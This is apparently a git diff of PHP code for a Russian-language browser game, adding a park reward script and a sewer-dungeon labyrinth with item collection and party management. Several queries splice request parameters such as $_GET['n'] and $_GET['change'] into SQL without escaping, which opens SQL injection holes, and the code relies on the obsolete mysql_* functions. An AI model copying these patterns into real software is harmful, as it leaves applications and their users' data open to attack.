+ //раздача ингридиентов + $ing_list=array("859","860","861","862","863","864","865"); + $ing_id=$ing_list[array_rand($ing_list)]; + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '{$ing_id}' LIMIT 1;")); + $gadget_num=mt_rand(1,3); + for($i=0;$i<$gadget_num;$i++) + { + mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration` + ) + VALUES + ('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0' + ) ;"); + } + + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$user['id']}','\"".$user['login']."\" Подобрал в Парке гайки ( \"".$gadget_num."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."]',1,'".time()."');"); + addchp ('В Парке Вы подобрали гайки ('.$gadget_num.' шт.)','{[]}'.nick7 ($user['id']).'{[]}'); + //денежный приз + $priz=mt_rand(1,10); + mysql_query("UPDATE users set money=money+{$priz} where id='{$user['id']}';"); + addchp ('После посещения Парка Вы обогатились на '.$priz.' кр. ','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) + VALUES ('','0','{$user['id']}','\"".$user['login']."\" нашел в Парке ".$priz." кр. ',1,'".time()."');"); + //переход + mysql_query("UPDATE `cit_park` SET `room`=0,`bots`='',`time`='".time()."' WHERE `id` ='{$user['id']}'; "); + } + if($in_park['counter']>=3) + echo(''); + elseif(($in_park['time']+3600)>time()) + {/**/ + $tm=time(); + $t_wait=round(((3600-$tm+$in_park['time'])/60),1); + echo(''); + } + else + echo(''); + echo ''; +} +else +{ + echo(''); + echo(''); + echo(''); + echo(''); +} + + +?> + + +

    Городской Парк

    Вы стоите на парковой площади
    За сегодня Вы посетили парк ".$in_park['counter']."/3 раз.
    Вы вышли из парка с чувством глубокого удовлетворения...
    По какому-то странному совпадению Вам не хочется идти в парк. Может, подождать до завтра?
    Вы совсем недавно вернулись из парка, бесполезно идти туда снова.
    (Осталось ждать: '.$t_wait.' мин.)

    Вы видите табличку с названием улицы: '.$ch_rooms[$in_park['room']].'
    В парке пустынно и темно, только какие-то подозрительные личности шныряют по своим делам.
    Вы видите несколько бандитов. Они замышляют зловещие преступления в городе!

    +
    + + + diff --git a/canalizaciya.php b/canalizaciya.php new file mode 100644 index 0000000..f111629 --- /dev/null +++ b/canalizaciya.php @@ -0,0 +1,788 @@ + 0)) header("Location: index.php"); + include "config.php"; + include "functions.php"; +$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); +if($user['room']==403){ + +include "startpodzemel.php"; +if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + +if($_GET['act']=="cexit") +{ +$das=mysql_query("select glava,glav_id from `labirint` where user_id='".$user['id']."'"); +$rf=mysql_fetch_array($das); +$glav_id=$rf["glav_id"]; +$glava=$rf["glava"]; +if($glava==$user['login']){//1 +$des=mysql_query("select login,user_id from `labirint` where `glav_id`='$glav_id' and `login`!='$glava'"); +$r=0; +while($raf=mysql_fetch_array($des)){//2 +$r++; +$log = $raf["login"]; +$id_us = $raf["user_id"]; +}//2 +if($r>=1){ +mysql_query("UPDATE labirint SET glav_id='$id_us',glava='$log' WHERE glav_id='".$user['id']."'"); +mysql_query("UPDATE podzem3 SET glava='$log' WHERE glava='".$user['login']."'"); +}else{ +mysql_query("DELETE FROM labirint WHERE glav_id='".$user['id']."'"); +mysql_query("DELETE FROM podzem3 WHERE glava='".$user['login']."'"); +mysql_query("DELETE FROM podzem4 WHERE glava='".$user['login']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Подземное зелье жизни' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №1' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №2' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №3' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №4' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №5' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №6' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №7' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №8' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №9' and owner='".$user['id']."'"); +mysql_query("DELETE FROM `inventory` WHERE name='Ключик №10' and owner='".$user['id']."'"); +} +}//1 +$e = mysql_query("DELETE FROM labirint WHERE user_id='".$user['id']."'"); +mysql_query("UPDATE `users`,`online` SET `users`.`room` = '402',`online`.`room` = '402' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '".$user['id']."' ;"); +print ""; exit(); +} + +?> + + + + +);"> + +location.href='podzem_dialog.php'"; exit();} +// 3 smerti == vqlet +if($mir['dead']>=3){print ""; exit();} +//vignat +if($_GET['kill']){ +if($user['login']==$glava){ +$rost=mysql_fetch_array(mysql_query("SELECT `user_id` FROM `labirint` WHERE `glava`='{$glava}' and `login`='".mysql_escape_string($_GET['kill'])."'")); +$varsa = mysql_fetch_array(mysql_query("SELECT id FROM `users` WHERE `login` = '".mysql_escape_string($_GET['kill'])."' LIMIT 1;")); +if($varsa and $rost){ +if($_GET['kill']!=$glava){ +mysql_query("DELETE FROM labirint WHERE login='".mysql_escape_string($_GET['kill'])."'"); +//mysql_query("DELETE FROM `inventory` WHERE name='Бутерброд' and owner='".$varsa['id']."' and podzem='1'"); +print ""; exit(); +}else{print"Себя нельзя выгнать.";} +}else{print"Такого логина не существует или он не в вашей группе.";} +}} +//smena lider +if($_GET['change']){ +if($user['login']==$glava){ +$rost=mysql_fetch_array(mysql_query("SELECT `user_id` FROM `labirint` WHERE `glava`='$glava' and `login`='".mysql_escape_string($_GET['change'])."'")); +$varsa = mysql_fetch_array(mysql_query("SELECT id FROM `users` WHERE `login` = '".mysql_escape_string($_GET['change'])."' LIMIT 1;")); +if($varsa and $rost){ +if($_GET['change']!=$glava){ +mysql_query("UPDATE labirint SET glav_id='".$varsa['id']."',glava='".$_GET['change']."' WHERE glava='".$user['login']."'"); +mysql_query("UPDATE podzem3 SET glava='".$_GET['change']."' WHERE glava='".$user['login']."'"); +print ""; exit(); +}else{print"Вы и так Лидер.";} +}else{print"Персонаж не существует или он не в вашей группе.";} +}} + +$wait_sec=$mir["visit_time"]; +$new_t=time(); +if($wait_sec<$new_t) +{ +print ""; exit(); +} +if($mir['dead']>=3){print ""; exit();} + +//2ой Ярус +if($_GET['act'] == "et2" and $mesto == '47' and $mir['name'] == "Канализация 1 этаж"){ +mysql_query("UPDATE labirint SET location='16', vector='180', name='Канализация 2 этаж', l='453', t='226' WHERE glava='".$user['login']."'"); +print "Спускаемся на 2ой ярус..."; + +$ros=mysql_query("SELECT * FROM `labirint` WHERE `user_id`='{$_SESSION['uid']}'"); +$mir=mysql_fetch_array($ros); +$mesto = $mir['location']; +$vektor = $mir['vector']; +$glava = $mir['glava']; +} + +//1ый Ярус +if($_GET['act'] == "et1" and $mesto == '6' and $mir['name'] == "Канализация 2 этаж"){ +mysql_query("UPDATE labirint SET location='48', vector='270', name='Канализация 1 этаж', l='477', t='190' WHERE glava='".$user['login']."'"); +print "Поднимаемся на верхний ярус..."; + +$ros=mysql_query("SELECT * FROM `labirint` WHERE `user_id`='{$_SESSION['uid']}'"); +$mir=mysql_fetch_array($ros); +$mesto = $mir['location']; +$vektor = $mir['vector']; +$glava = $mir['glava']; +} + + +include "canalization_mod.php"; + + +////////////нападение//////////////// +if($_GET['act'] == "atk"){ +$d = $_GET['n']+10; +$d2 = $_GET['n']-10; +$d3 = $_GET['n']+1; +$d4 = $_GET['n']-1; +$red = mysql_query("SELECT n".mysql_escape_string($_GET['n'])." FROM podzem3 WHERE glava='".$mir['glava']."' and name='".$mir['name']."'"); +if($gef = mysql_fetch_array($red)){ +$dop = $gef["n".$_GET['n'].""]; +} +if($mesto == $d or $mesto == $d1 or $mesto == $d2 or $mesto == $d3 or $mesto == $d4){ +if($dop!=''){ +include"podzem/atk.php"; +} +} +} +if($_GET['act']=='el') { +if($mir['el']!='1' and $mesto==$mir['el']){ +mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`present`,`magic`,`otdel`,`isrep`) + VALUES('".$user['id']."','Подземное зелье жизни','50','1','0','food_l9.gif','5','Подземка','8','6','0') ;"); +mysql_query("UPDATE `labirint` SET el='1' WHERE `glava`='".$glava."' and `login`='".$user['login']."'"); +print" Вы получили 'Подземное зелье жизни'
    "; +}else{ +if($mir['el']=='1'){print" Вы уже брали зелье!
    ";} +else{print" Невозможно! Вы далеко!
    ";}} +} +///////////////Сбор чистых гаек///////////// +if($_GET['sun']=='se_gaika_c'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='508' or $stloc=='507' or $stloc=='506'){ +if($stloc=='508'){mysql_query("UPDATE `podzem3` SET n$mesto='507' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='507'){mysql_query("UPDATE `podzem3` SET n$mesto='506' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='506'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Чистая гайка'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Чистая гайка'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Чистая гайка','1','g_c.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Чистая гайка"; +include "podzem_brat.php"; +print" Вы получили 'Чистая гайка'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} + +///////////////Сбор гаек///////////// +if($_GET['sun']=='gaika'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='503' or $stloc=='502' or $stloc=='501'){ +if($stloc=='503'){mysql_query("UPDATE `podzem3` SET n$mesto='502' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='502'){mysql_query("UPDATE `podzem3` SET n$mesto='501' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='501'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1, massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Гайка"; +include "podzem_brat.php"; +print" Вы получили 'Гайка'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} + +///////////////////////////////////// +///////////////Сбор вентилей///////////// +if($_GET['sun']=='ventil'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='504' or $stloc=='505' or $stloc=='506'){ +if($stloc=='506'){mysql_query("UPDATE `podzem3` SET n$mesto='505' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='505'){mysql_query("UPDATE `podzem3` SET n$mesto='504' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='504'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Вентиль'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.2 WHERE owner='".$user['id']."' and `type`='200' and `name`='Вентиль'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Вентиль','1','v.gif','".$user['id']."','200','0.2','0','Лука')"); +} +$mis = "Вентиль"; +include "podzem_brat.php"; +print" Вы получили 'Вентиль'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} + +///////////////Сбор Чистых вентилей///////////// +if($_GET['sun']=='se_ventil'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='512' or $stloc=='513' or $stloc=='514'){ +if($stloc=='514'){mysql_query("UPDATE `podzem3` SET n$mesto='513' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='513'){mysql_query("UPDATE `podzem3` SET n$mesto='512' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='512'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Чистый вентиль'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.4 WHERE owner='".$user['id']."' and `type`='200' and `name`='Чистый вентиль'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Чистый вентиль','1','v2.gif','".$user['id']."','200','0.4','0','Лука')"); +} +$mis = "Чистый вентиль"; +include "podzem_brat.php"; +print" Вы получили 'Чистый вентиль'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} +///////////////////////////////////// +///////////////Сбор Болтов///////////// +if($_GET['sun']=='bolt'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='507' or $stloc=='508' or $stloc=='509'){ +if($stloc=='509'){mysql_query("UPDATE `podzem3` SET n$mesto='508' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='508'){mysql_query("UPDATE `podzem3` SET n$mesto='507' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='507'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Болт'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Болт'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Болт','1','bolt.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Болт"; +include "podzem_brat.php"; +print" Вы получили 'Болт'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} + +///////////////Сбор Длинных Болтов///////////// +if($_GET['sun']=='se_gaika_bd'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='511' or $stloc=='510' or $stloc=='509'){ +if($stloc=='511'){mysql_query("UPDATE `podzem3` SET n$mesto='510' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='510'){mysql_query("UPDATE `podzem3` SET n$mesto='509' WHERE glava='$glava' and name='".$mir['name']."'");} +if($stloc=='509'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Длинный болт'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.2 WHERE owner='".$user['id']."' and `type`='200' and `name`='Длинный болт'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Длинный болт','1','dbolt.gif','".$user['id']."','200','0.2','0','Лука')"); +} +$mis = "Длинный болт"; +include "podzem_brat.php"; +print" Вы получили 'Длинный болт'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} +///////////////////////////////////// +///////////////Сбор ключиик///////////// +if($_GET['sun']=='kluchiik'){ +$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n$mesto"]; +if($stloc=='510'){ +if($stloc=='510'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");} +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Ключиик','1','kluchik.gif','".$user['id']."','200','0.5','0','Лука')"); +$mis = "Ключиик"; +include "podzem_brat.php"; +print" Вы получили 'Ключиик'"; +}else{if($stloc==''){print" Кто-то оказался быстрее!";}} +} +///////////////////////////////////// +///////////////Сбор сундуков///////////// +if($_GET['act']=='sunduk'){ +$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n".$_GET['n'].""]; +if($stloc=='13.1'){ +$d = $_GET['n']+10; +$d2 = $_GET['n']-10; +$d3 = $_GET['n']+1; +$d4 = $_GET['n']-1; +if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){ +if($stloc=='13.1'){mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='13.0' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Гайка"; +include "podzem_brat.php"; +print" Вы получили 'Гайка'"; +} +}else{if($stloc=='13.0'){print" Кто-то оказался быстрее!";}} +} +///////////////////////////////////// +///////////////Сбор сундуков (БОЛТ)///////////// +if($_GET['act']=='sunduk2'){ +$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n".$_GET['n'].""]; +if($stloc=='14.1'){ +$d = $_GET['n']+10; +$d2 = $_GET['n']-10; +$d3 = $_GET['n']+1; +$d4 = $_GET['n']-1; +if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){ +if($stloc=='14.1'){mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='14.0' WHERE glava='$glava' and name='".$mir['name']."'");} +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Болт'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Болт'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Болт','1','bolt.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Болт"; +include "podzem_brat.php"; +print" Вы получили 'Болт'"; +} +}else{if($stloc=='14.0'){print" Кто-то оказался быстрее!";}} +} +///////////////////////////////////// +///////////////Сбор ключей///////////// +if($_GET['act']=='key'){ +$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n".$_GET['n'].""]; +$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Ключик №".mysql_escape_string($_GET['b'])."'"); +$g = mysql_fetch_array($f); +if(($stloc=='key1' or $stloc=='key2' or $stloc=='key3' or $stloc=='key4' or $stloc=='key5' or $stloc=='key6' or $stloc=='key7' or $stloc=='key8' or $stloc=='key9' or $stloc=='key10') and !$g){ +if($mesto==$_GET['n']){ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Ключик №".mysql_escape_string($_GET['b'])."','1','$stloc.gif','".$user['id']."','200','0.1','0','Подземка')"); +//Удаляем ключик с локи +//mysql_query("UPDATE `podzem4` SET n".$_GET['n']." = '' WHERE glava='".$glava."' and name='".$mir['name']."'"); +print" Вы получили 'Ключик №".$_GET['b']."'"; +} +}else{if($g){print" У вас уже есть Ключик №".$_GET['b']."!";}} + +} +///////////////////////////////////// +///////////////Сбор гаек из стоков///////////// +if($_GET['act']=='stok'){ +$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n".$_GET['n'].""]; +$shans = rand(0,100); +if($shans<51){ +mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='11.0' WHERE glava='$glava' and name='".$mir['name']."'"); +$stloc='11.0'; +} +if($stloc=='11.1'){ +if($mesto==$_GET['n']){ +if($stloc=='11.1'){mysql_query("UPDATE `podzem4` SET n".mysql_escape_string($_GET['n'])."='11.0' WHERE glava='$glava' and name='".$mir['name']."'");} +$f=mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Гайка"; +include "podzem_brat.php"; +print" Вы получили 'Гайка'"; +} +}else{if($stloc=='11.0'){print" Попахивает...";}} +} +///////////////Сбор гаек из стоков///////////// +if($_GET['act']=='stok2'){ +$ferrr = mysql_query("SELECT n".$_GET['n']." FROM `podzem4` WHERE glava='$glava' and name='".$mir['name']."'"); +$retr = mysql_fetch_array($ferrr); +$stloc = $retr["n".$_GET['n'].""]; +$shans = rand(0,100); +if($shans<51){ +mysql_query("UPDATE `podzem4` SET n".$_GET['n']."='12.0' WHERE glava='$glava' and name='".$mir['name']."'"); +$stloc='12.0'; +} +if($stloc=='12.1'){ +$d = $_GET['n']+10; +$d2 = $_GET['n']-10; +$d3 = $_GET['n']+1; +$d4 = $_GET['n']-1; +if($mesto==$d or $mesto==$d2 or $mesto==$d3 or $mesto==$d4){ +if($stloc=='12.1'){mysql_query("UPDATE `podzem4` SET n".mysql_escape_string($_GET['n'])."='12.0' WHERE glava='$glava' and name='".$mir['name']."'");} +$f=mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'"); +if($g = mysql_fetch_array($f)){ +$koll = $g["maxdur"]; +mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'"); +}else{ +$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')"); +} +$mis = "Гайка"; +include "podzem_brat.php"; +print" Вы получили 'Гайка'"; +} +}else{if($stloc=='12.0'){print" Попахивает...";}} +} +///////////////////////////////////// + +if($mesto == '1'){$mesto = '01';} +if($mesto == '2'){$mesto = '02';} +if($mesto == '3'){$mesto = '03';} +if($mesto == '4'){$mesto = '04';} +if($mesto == '5'){$mesto = '05';} +if($mesto == '6'){$mesto = '06';} +if($mesto == '7'){$mesto = '07';} +if($mesto == '8'){$mesto = '08';} +if($mesto == '9'){$mesto = '09';} +// переходы + if(isset($_GET['left'])){ + mysql_query("UPDATE `labirint` SET `vector` = '".mysql_escape_string($_GET['left'])."' WHERE `user_id` = '{$_SESSION['uid']}' ;"); + //header('Location:canalizaciya.php'); + die(""); + } + if(isset($_GET['right'])){ + mysql_query("UPDATE `labirint` SET `vector` = '".mysql_escape_string($_GET['right'])."' WHERE `user_id` = '{$_SESSION['uid']}' ;"); + //header('Location:canalizaciya.php'); + die(""); + } + +$fer = mysql_query("SELECT n".mysql_escape_string($rhar[$mesto][$_GET['path']])." FROM podzem3 WHERE glava='".$mir['glava']."' and name='".$mir['name']."'"); +if($ret = @mysql_fetch_array($fer)){ +$stoi = $ret["n".$rhar[$mesto][$_GET['path']].""]; +} + +if($rhar[$mesto][$_GET['path']] > 0 and $_GET['path'] < 4 and $_GET['path'] >= 0 and ($_SESSION['time'] <= time()) and ($stoi=='' or $stoi>'500')) { +if($_GET['path']==0) {$loc2=$mesto+10;} +if($_GET['path']==1) {$loc2=$mesto+1;} +if($_GET['path']==2) {$loc2=$mesto-10;} +if($_GET['path']==3) {$loc2=$mesto-1;} +$fers = mysql_query("SELECT n$loc2,v$loc2 FROM podzem4 WHERE glava='$glava' and name='".$mir['name']."'"); +$rets = mysql_fetch_array($fers); +$ins = mysql_query("SELECT id FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Ключик №".$rets["n$loc2"]."'"); +$setr = mysql_fetch_array($ins); +if($rets["n$loc2"]>=1 and $rets["n$loc2"]<=10 and !$setr){ +print" Нужен ключ №".$rets["n$loc2"]."".$rets["n$mesto"]."";}else{ +$vrem=30*60+time(); +if($_GET['path']==0) {$nav='t=t-12';} +if($_GET['path']==1) {$nav='l=l+12';} +if($_GET['path']==2) {$nav='t=t+12';} +if($_GET['path']==3) {$nav='l=l-12';} +mysql_query("UPDATE `labirint` SET `location` = '".mysql_escape_string($rhar[$mesto][$_GET['path']])."',`visit_time`='$vrem',$nav WHERE `user_id` = '{$_SESSION['uid']}' ;"); +$_SESSION['time'] = time()+1; +//header('Location:canalizaciya.php'); +die(""); + +} + } +?> + + + + + +
    + + + + + + + +
    +". echo nick($user).""; +?> +

    +
    + + + + + + + + + + + + + + +"; +} +?> +
    ПерсонажHpЗваниеПодземелье
